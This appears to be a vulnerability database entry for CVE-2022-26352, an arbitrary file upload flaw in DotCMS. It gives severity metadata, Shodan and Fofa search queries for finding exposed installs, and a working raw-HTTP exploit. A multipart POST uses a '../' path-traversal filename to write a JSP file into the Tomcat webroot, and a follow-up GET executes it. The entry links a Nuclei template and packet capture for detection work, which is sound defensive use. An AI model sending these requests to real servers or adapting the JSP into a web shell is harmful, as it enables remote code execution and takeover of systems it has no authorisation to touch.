| Title | DotCMS - Arbitrary File Upload |
|---|---|
| Author | h1ei1 |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability can lead to remote code execution, compromising the confidentiality, integrity, and availability of the affected system. |
| Remediation | Apply the latest security patches or updates provided by the vendor to fix this vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.94337 |
| CVE ID | CVE-2022-26352 |
| CWE ID | CWE-22 |
| Shodan Query | http.title:"dotcms" |
| Fofa Query | title="dotcms" |
| Tags | cve cve2022 packetstorm rce dotcms kev fileupload intrusive vkev vuln |
DotCMS management system contains an arbitrary file upload vulnerability via the /api/content/ path which can allow attackers to upload malicious Trojans to obtain server permissions.
POST /api/content/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13_2) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.3 Safari/605.1.15
Connection: close
Content-Length: 315
Content-Type: multipart/form-data; boundary=------------------------aadc326f7ae3eac3
Accept-Encoding: gzip
--------------------------aadc326f7ae3eac3
Content-Disposition: form-data; name="name"; filename="../../../../../../../../../srv/dotserver/tomcat-9.0.41/webapps/ROOT/38F8Haj8oCIeUQQoOuuYnnQwr9a.jsp"
Content-Type: text/plain
<%
out.println("CVE-2022-26352");
%>
--------------------------aadc326f7ae3eac3--
GET /38F8Haj8oCIeUQQoOuuYnnQwr9a.jsp HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.5.20) Gecko/ Firefox/6.0
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-26352.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-26352.pcap
N/AN/A